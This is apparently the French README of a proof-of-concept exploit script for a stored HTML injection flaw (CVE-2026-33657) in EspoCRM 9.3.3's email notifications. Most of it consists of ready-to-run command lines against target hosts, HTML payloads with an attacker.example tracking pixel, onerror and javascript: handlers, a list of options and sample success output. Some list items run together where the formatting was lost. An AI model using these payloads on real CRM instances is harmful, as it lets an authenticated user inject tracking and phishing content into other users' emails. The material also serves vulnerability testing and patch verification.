
EspoCRM 9.3.3 - Injection HTML stockée dans les notifications par e-mail
Preuve de concept authentifiée pour l'injection HTML stockée dans les notifications par e-mail d'EspoCRM 9.3.3.
EspoCRM 9.3.3 génère les e-mails de notification de flux en transformant le corps de la note avec Markdown et en insérant le HTML résultant dans les modèles d'e-mail avec des accolades triples ({{{post}}}). Un utilisateur authentifié qui peut créer une publication de flux et déclencher une notification peut stocker du HTML contrôlé par l'attaquant qui est ensuite rendu dans le corps de l'e-mail généré.
L'exploit exécute la partie distante contrôlée par l'attaquant du processus :
/api/v1/App/user.Note malveillante contenant du HTML.--mention ou --target-user-id pour mettre en file d'attente une cible de notification.La livraison de l'e-mail se produit lorsque le travail SendEmailNotifications normal d'EspoCRM ou cron traite la notification en file d'attente.
requestsNote de flux--mention <nom_utilisateur> pour les notifications par e-mail de mention, ou--target-user-id <id> pour les notifications de publication de flux cibléesInstaller la dépendance :
python3 -m pip install requests
Chemin préféré basé sur la mention :
python3 CVE-2026-33657.py \
-u http://127.0.0.1:8083 \
-U testuser \
-P 'Admin12345!' \
--mention admin
Utiliser une URL de suivi personnalisée :
python3 CVE-2026-33657.py \
-u https://target.example \
-U user \
-P 'password' \
--mention victim \
--tracking-url https://attacker.example/pixel.gif
Utiliser une charge utile HTML entièrement personnalisée :
python3 CVE-2026-33657.py \
-u https://target.example \
-U user \
-P 'password' \
--mention victim \
--payload '<img src="https://attacker.example/p.gif" onerror="alert(33657)"><a href="javascript:alert(33657)">open</a>'
Cibler un identifiant utilisateur spécifique au lieu d'une mention :
python3 CVE-2026-33657.py \
-u https://target.example \
-U user \
-P 'password' \
--target-user-id 0123456789abcdef0 \
--target-user-name 'Victim User'
Identification uniquement, sans créer de note :
python3 CVE-2026-33657.py \
-u https://target.example \
-U user \
-P 'password' \
--detect-only
-u, --url URL de base d'EspoCRM
-U, --username Nom d'utilisateur EspoCRM
-P, --password Mot de passe EspoCRM
--mention Nom d'utilisateur à mentionner, sans @
--target-user-id Identifiant utilisateur pour les notifications de publication de flux ciblées
--target-user-name Nom d'affichage pour --target-user-id
--payload Charge utile HTML brute à stocker dans la Note
--tracking-url URL du pixel de suivi utilisée par la charge utile par défaut
--link-url URL du lien utilisée par la charge utile par défaut
--marker Texte de marqueur ajouté au début de la charge utile
--detect-only Identifier la version uniquement ; ne pas créer de Note
--skip-version-check Ignorer /api/v1/App/user avant l'exploitation
--force Continuer même si l'empreinte de version n'est pas 9.3.3
--insecure Désactiver la vérification du certificat TLS
Une exécution réussie crée une note malveillante et confirme la cible de notification :
[*] /api/v1/App/user : HTTP 200
[*] Version détectée : 9.3.3
[+] L'empreinte de version est vulnérable : EspoCRM 9.3.3.
[*] Création d'une Note malveillante en tant que testuser
[*] Réponse de la Note : HTTP 200 ...
[+] Charge utile de l'exploit stockée dans la publication de la Note.
[+] Identifiant de la Note : 69fddeef8db756271
[+] Mention analysée : @admin -> identifiant utilisateur 69fdcfb66c34ccb81
[+] Liste des cibles de notification renvoyée par l'API : 69fdcfb66c34ccb81
[+] Déclencheur distant complet soumis.
Sur une instance vulnérable, le corps de l'e-mail HTML généré préserve le HTML injecté. Une capture en laboratoire ressemble à :
<img src="http://attacker.example/full-process.gif" width="1" height="1" onerror="alert(33657)">
<a href="javascript:alert(33657)" style="color:red">re-auth</a>
Dans un laboratoire EspoCRM local, après avoir exécuté l'exploit, déclencher le travail de notification :
sudo -u www-data php command.php run-job SendEmailNotifications
Le corps de l'e-mail résultant doit contenir le HTML injecté dans la partie text/html.
@@version, la cible est probablement une construction d'arborescence source. Le script continue car le code sous-jacent peut toujours être l'étiquette vulnérable 9.3.3.--mention ne produit pas de mention analysée, vérifiez les messagePermission et mentionPermission de l'attaquant, et confirmez que le nom d'utilisateur cible existe et peut recevoir des notifications.